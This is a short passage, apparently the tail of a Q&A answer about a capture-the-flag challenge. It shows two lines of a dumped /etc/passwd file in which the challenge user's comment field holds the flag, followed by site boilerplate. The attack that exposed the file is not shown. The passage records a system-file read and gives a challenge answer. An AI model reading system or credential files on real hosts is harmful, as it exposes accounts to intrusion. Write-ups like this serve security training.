sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
challenge:x:1000:1000:SIGINT_a64428fe231bcdcabbea:/home/challenge:/bin/bash

And there's the flag, at the bottom.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .